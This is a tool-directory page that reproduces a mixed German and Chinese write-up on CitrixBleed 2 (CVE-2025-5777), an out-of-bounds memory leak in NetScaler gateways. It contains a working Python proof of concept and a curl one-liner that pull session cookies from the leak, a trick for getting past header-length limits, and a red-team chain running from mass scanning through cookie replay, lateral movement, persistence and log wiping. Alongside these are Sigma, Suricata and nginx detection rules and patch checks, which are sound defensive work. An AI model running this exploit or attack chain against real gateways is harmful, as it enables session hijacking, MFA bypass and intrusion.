Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — 详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件 | Kitploit
Tools/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件

Repository anzeigen
172vor 1 JahrNoch nicht geprüft

CitrixBleed 2 (CVE-2025-5777) Ultimative Analyse

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Ein umfassendes Handbuch von der Ursache bis zur Angriffs- und Verteidigungsübung


PoC-Verwendung: python3 poc.py https://gateway.example.com

Exploit-Verwendung: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Inhaltsverzeichnis

root@kitploit:~
0x00  引言 / 速览
0x01  背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述(影响版本、CVSS、利用后果)
0x03  触发机理深剖(源码级分析 & 调试截图)
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06  蓝队视角:检测、取证与补丁验证
0x07  防御加固:补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 Einführung / Überblick

  • CVE-2025-5777 (auch bekannt als CitrixBleed 2) ist ein Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
  • Angreifer benötigen keine Authentifizierung und können durch Senden einer GET-Anfrage mit einem überlangen Host-Header das Gerät dazu bringen, zufällige Speicherblöcke zusammen mit der HTTP-Antwort an den Client zu „spucken“.
  • Die durchgesickerten Daten enthalten häufig NSC_USER / NSC_TASS-Cookies, SAML StateContext, MFA-Token und andere kritische Materialien, die direkt wiederverwendet werden können, um eine Session-Übernahme und MFA-Umgehung durchzuführen (arcticwolf.com, tenable.com).
  • CVSS v4 Basis-Score 9.3 (Critical) (netscaler.com).
  • 2025-06-17 veröffentlicht, 2025-06-23 erweiterte Citrix den Geltungsbereich und veröffentlichte Patches; innerhalb einer Woche beobachteten Sicherheitsanbieter wie ReliaQuest, Bishop Fox einen Anstieg der Ausnutzung in freier Wildbahn (reliaquest.com, bishopfox.com).

0x01 Hintergrund

1.1 Kurze Beschreibung des NetScaler-Workflows

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler verwendet ein Multi-Prozess + internes IPC-Design. WebProc ist für die Verarbeitung der meisten HTTP-Anfragen unter AAA / Gateway-Pfaden verantwortlich, einschließlich /nf/auth/*, /oauth/* usw. Es verwendet in C häufig snprintf() / memcpy(), um jedes Mal XML/HTML-Fragmente zusammenzusetzen.

1.2 Rückblick auf CitrixBleed 1 (CVE-2023-4966)

  • Im Jahr 2023 trat eine ähnliche Schwachstelle im OAuth Discovery-Endpunkt /oauth/idp/.well-known/openid-configuration auf.
  • Ihr Wesen war ebenfalls die Verwendung des Rückgabewerts von snprintf als len-Parameter für nachfolgendes send() → Speicherüberlauf-Echo.
  • CitrixBleed 2 beweist, dass dieselbe Art von sicherem Codierungsfehler weiterhin in anderen Pfaden lauert.

Gelernte Lektion: Wenn Sicherheitspatches nur auf den „Einschlagspunkt“ und nicht auf das „Programmierparadigma“ abzielen, bleibt Raum für „schablonenhafte Wiederholungen“.


0x02 Schwachstellenbeschreibung


0x03 Tiefgehende Analyse des Auslösemechanismus

Dieser Abschnitt basiert auf Decompilierung + gdb-Debugging der Firmware 13.1-55.18, kombiniert mit öffentlichen Blogbeiträgen (bishopfox.com).

3.1 Eintrittspunkt der Schwachstelle

  • URI: /nf/auth/startwebview.do
  • Kontrollierbarer Parameter: HTTP Host-Header
  • Diese Schnittstelle wird verwendet, um das Redirect-XML für Citrix Workspace WebView zu generieren. Beispiel einer normalen Antwort:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Wichtige Funktionskette

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Fehlerpunkt: snprintf gibt die „Länge, die hätte geschrieben werden sollen“ zurück, nicht die tatsächlich geschriebene Länge; wenn der vom Benutzer übergebene Host > 0x1800 - Länge des konstanten Segments ist, dann ist length > sizeof(buf).

3.3 Laufzeit-Darstellung

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB-Breakpoint-Demonstration (wichtige Register):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Das Ergebnis von read() zeigte, dass die letzten 1.600 Bytes aus nicht initialisiertem Speicher stammten, in dem Cookie-Puffer anderer SSL-Sitzungen sichtbar waren.

3.4 Kategorien der durchgesickerten Daten

KategorieBeispielauszug (anonymisiert)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Andere Anfragekörper<username>audituser</username><password>***</password>

0x04 PoC-Implementierung

4.1 Einzelne Python-Datei (15 Zeilen)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

Wenn nach der Ausführung ein 200-Statuscode + mehrere KB zurückgegeben werden, wird die Schwachstelle als vorhanden angesehen.
Suchen Sie weiter in leak.bin nach Schlüsselwörtern wie Cookie=, <AuthenticateContext> usw.

4.2 Einzeiler mit Bash / curl

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Workaround: Einige Geräte haben eine Längenbegrenzung für den Host-Header in vorgelagerten F5 / Nginx; dies kann durch Aneinanderreihung mehrerer Subdomains umgangen werden, z.B. foo.foo.foo.…foo.example.com (3000-mal foo wiederholen).


0x05 Red-Team-Perspektive: Vollständige Angriffskette

Realweltbeispiel: ReliaQuest beobachtete an Kundengateways „eine kurze, große Anzahl von Anfragen mit Host-Headern > 6 KB, gefolgt von gestohlenen Sitzungen“ (reliaquest.com).


0x06 Blue-Team-Perspektive: Erkennung, Forensik und Patch-Verifikation

6.1 Protokolle und IoCs

QuelleAnzeichen
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144

6.2 Sigma-Regel (Kurzfassung)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Patch-Verifikationsskript

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Sitzungen beenden

root@kitploit:~
# Alle aktiven VPN/ICA-Verbindungen löschen
kill icaconnection -all
kill vpn -all

Hinweis: Auch nach dem Patchen müssen Sitzungen zwangsweise abgemeldet werden, um zu verhindern, dass Angreifer weiterhin gestohlene Cookies verwenden.


0x07 Verteidigung und Härtung

  1. Offizieller Patch: Aktualisieren Sie auf ≥ 14.1-43.56 / 13.1-58.32, oder wenden Sie die entsprechende Version für FIPS/NDcPP-Modelle an (netscaler.com).
  2. Längenbegrenzung des Host-Headers (temporäre Maßnahme)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. WAF-Adaptive Regeln: Aktivieren Sie Ratenbegrenzung für die Pfade /nf/auth/ & /oauth/ (z.B. 20 req/m).
  2. Asset-Inventur: EOL-Versionen 12.1/13.0 erhalten nie wieder offizielle Patches; planen Sie Austausch oder starke Isolierung (support.citrix.com).
  3. MFA-Sicherheit: Sitzungslecks umgehen MFA → Empfohlen wird, „Signatur pro Anfrage“ oder „dynamische Hardware-Fingerabdruck-Bindung“ zu aktivieren, nicht nur die Erstvalidierung.

0x08 Lern- und Wiederholungsfahrplan


Anhang A — Erkennungs- / Verteidigungsfragmente

📜 Sigma-Regel (Vollversion)
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Suricata-Regel
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua Inline Hotpatch
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Anhang B — Zeitachse


Referenzen

  1. Citrix offizielle Sicherheitsankündigung und Patch-Hinweise (netscaler.com)
  2. Arctic Wolf „CVE-2025-5777 Technical Brief“ (arcticwolf.com)
  3. Bishop Fox „OOB Memory Read in NetScaler“ (bishopfox.com)
  4. ReliaQuest „Threat Spotlight: CitrixBleed 2“ (reliaquest.com)
  5. Tenable FAQ zu CVE-2025-5777 (tenable.com)
  6. BleepingComputer Sicherheitsmeldung (bleepingcomputer.com)
  7. NVD-Eintrag CVE-2025-5777 (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

Ende — Ich hoffe, dieses Dokument hilft Ihnen, CitrixBleed 2 umfassend zu verstehen und zu bewältigen. Wenn Sie weitere Beispiele, Skripte oder Übungsanleitungen benötigen, fragen Sie einfach nach!

Tool herunterladen
FeldInhalt
CVECVE-2025-5777
AliasCitrixBleed 2
SchwachstellentypOut-of-Bounds Read / Informationsleck
CVSS v4 Base9.3 (Crit.) (netscaler.com)
Betroffene Versionen< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
AusnutzungsbedingungenNetScaler ist als Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) oder AAA vServer konfiguriert (arcticwolf.com)
Auswirkung der AusnutzungSpeicherleck → Sitzungstoken → Authentifizierungsumgehung / MFA-Umgehung → Lateralbewegung
SchrittZiel & Technik
① Asset-Erkennungzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan usw.; filtern nach set-cookie: NSC_
② PoC-LeckParallele Anfragen mit Batch-Skript; extrahiere NSC_USER= ; NSC_TASS=
③ Cookie-WiederholungChrome DevTools→Application→Cookies→Eintrag hinzufügen, /vpn/index.html aktualisieren
④ Interne RessourcenZugriff auf storeweb/#home für RDP-Dateien; .ica herunterladen und direkt per VDI einloggen
⑤ BerechtigungserweiterungInterne Credential Spraying, Kerberoast, ADCS ESC1; oder schwache SMB-Passwörter im selben Netzsegment ausnutzen
⑥ PersistenzNeue Scheduled Tasks erstellen; Autostart-Skripte registrieren; oder NetScaler vDisk modifizieren (hohe Rechte erfordern Betriebsnachlässigkeit)
⑦ SpurenbeseitigungCookies sofort nach Gebrauch löschen; Audit-Logs löschen (falls NS root erlangt); oder logrotate-Race ausnutzen zur Überschreibung
HTTP_ACCESS.logAnfrage an /nf/auth/startwebview.do mit sehr kurzer Dauer aber ungewöhnlich großer Antwort (> 2 KB)
EDR/PCAPSet-Cookie: NSC_USER= erscheint in Antworten auf Nicht-Login-Anfragen
PhaseEmpfohlene Materialien & Aktionen
TheorieLesen Sie die Citrix-Sicherheitsmeldung, Arctic Wolf / Tenable FAQ, Bishop Fox technische Analyse (arcticwolf.com, tenable.com, bishopfox.com)
LaborStellen Sie die anfällige Version 13.1-55.18 bereit (ESXi / KVM), führen Sie das minimale PoC aus, Wireshark-Mitschnitt → beobachten Sie das TCP PSH-Rückpaket
CodierungErweitern Sie das PoC: automatisches Cookie-Wiedereinspielen, ZTLS-Massenscan, Multithreading-Queue
Blue TeamSuchen Sie in einem zweistündigen Fenster nach abnormalen Host-Längen; verwenden Sie Sigma→Elastic/Graylog; reproduzieren und validieren Sie WAF-Strategien
TeilenSchreiben Sie einen Blog oder erstellen Sie eine Mindmap, fassen Sie die „gleiche snprintf-Falle“ zusammen
Datum (2025)Ereignis
06-17Citrix veröffentlicht erste Mitteilung zu CVE-2025-5777 (netscaler.com)
06-18Bishop Fox veröffentlicht technische Analyse & PoC (bishopfox.com)
06-23Citrix aktualisiert Geltungsbereich + Patch-Versionen; CISA nimmt in KEV auf
06-25ReliaQuest meldet aktive Ausnutzung, Bedrohungsgruppen sammeln massenhaft Sitzungen (reliaquest.com)
06-27BleepingComputer berichtet „möglicherweise weit verbreitete Ausnutzung“ (bleepingcomputer.com)
06-28Mehrere GitHub-PoCs erscheinen; Tenable veröffentlicht FAQ (tenable.com)